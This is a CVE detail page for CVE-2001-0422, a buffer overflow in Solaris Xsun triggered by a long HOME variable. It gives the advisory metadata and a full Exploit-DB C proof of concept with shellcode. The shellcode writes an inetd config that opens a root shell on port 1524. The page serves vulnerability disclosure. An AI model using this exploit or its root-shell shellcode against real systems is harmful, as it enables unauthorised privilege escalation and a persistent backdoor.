CVE-2001-0422 : Detail

CVE-2001-0422

0.05%V3
Local
2002-03-09
04h00 +00:00
2002-02-22
23h00 +00:00
Notifications for a CVE
Stay informed of any changes for a specific CVE.
Notifications manage

CVE Descriptions

Buffer overflow in Xsun in Solaris 8 and earlier allows local users to execute arbitrary commands via a long HOME environmental variable.

CVE Informations

Metrics

Metrics Score Severity CVSS Vector Source
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C [email protected]

EPSS

EPSS is a scoring model that predicts the likelihood of a vulnerability being exploited.

EPSS Score

The EPSS model produces a probability score between 0 and 1 (0 and 100%). The higher the score, the greater the probability that a vulnerability will be exploited.

EPSS Percentile

The percentile is used to rank CVE according to their EPSS score. For example, a CVE in the 95th percentile according to its EPSS score is more likely to be exploited than 95% of other CVE. Thus, the percentile is used to compare the EPSS score of a CVE with that of other CVE.

Exploit information

Exploit Database EDB-ID : 20743

Publication date : 2001-04-09
22h00 +00:00
Author : Riley Hassell
EDB Verified : Yes

// source: https://www.securityfocus.com/bid/2561/info The X11 server that ships with Sun Microsystems' Solaris, Xsun, contains a locally exploitable buffer overflow vulnerability. The condition is present when the value of the HOME environment variable is of excessive length (more than 1050 bytes long). An attacker may exploit this vulnerability to execute arbitrary code with effective group 'root' privileges. /***********************************/ Solaris 7 (x86) /usr/openwin/bin/Xsun HOME environment overflow Proof of Concept Exploitation [email protected] Puts a Root shell on local port 1524 /***********************************/ #include <stdio.h> #include <stdlib.h> #include <string.h> #include <unistd.h> #define BUFLEN 1041 /* seteuid/setuid/inetd shell */ char eyecode[] = "\xeb\x51\x9a\x65\x65\x79\x65\x07\x90\xc3\x5e" "\x29\xc0\x89\x46\xab\x88\x46\xb0\x89\x46\x0c" "\x50\xb0\x8d\xe8\xe4\xff\xff\xff\x29\xc0\x50" "\xb0\x17\xe8\xda\xff\xff\xff\x29\xc0\x88\x46" "\x17\x88\x46\x1a\x88\x46\x78\x29\xc0\x50\x56" "\x8d\x5e\x10\x89\x1e\x53\x8d\x5e\x18\x89\x5e" "\x04\x8d\x5e\x1b\x89\x5e\x08\xb0\x3b\xe8\xb2" "\xff\xff\xff\x90\x90\xc3\xe8\xb2\xff\xff\xff" "\x90\x6b\x61\x6d\x90\x90\x90\x90\x90\x90\x90" "\x90\x90\x90\x90\x90\x2f\x62\x69\x6e\x2f\x73" "\x68\x20\x2d\x63\x20" "echo \"ingreslock stream tcp nowait root /bin/sh sh -i\">/tmp/eeye;" "/usr/sbin/inetd -s /tmp/eeye2001"; char buf[BUFLEN]; unsigned long int nop, esp; long int offset = 0; unsigned long int get_esp() {__asm__("movl %esp,%eax");} int main (int argc, char *argv[]) { int i; if (argc > 1) offset = strtol(argv[1], NULL, 0); else offset = -200; esp = get_esp(); memset(buf, 0x90, BUFLEN); memcpy(buf+800, eyecode, strlen(eyecode)); *((int *) &buf[1037]) = esp+offset; strncpy(&buf[0],"HOME=",5); putenv(buf); execl("/usr/openwin/bin/Xsun", "eEye", ":1",NULL); return; }

Products Mentioned

Configuraton 0

Sun>>Solaris >> Version 2.6

Sun>>Sunos >> Version 5.3

Sun>>Sunos >> Version 5.4

Sun>>Sunos >> Version 5.5

Sun>>Sunos >> Version 5.5.1

Sun>>Sunos >> Version 5.7

Sun>>Sunos >> Version 5.8

References

http://www.securityfocus.com/bid/2561
Tags : vdb-entry, x_refsource_BID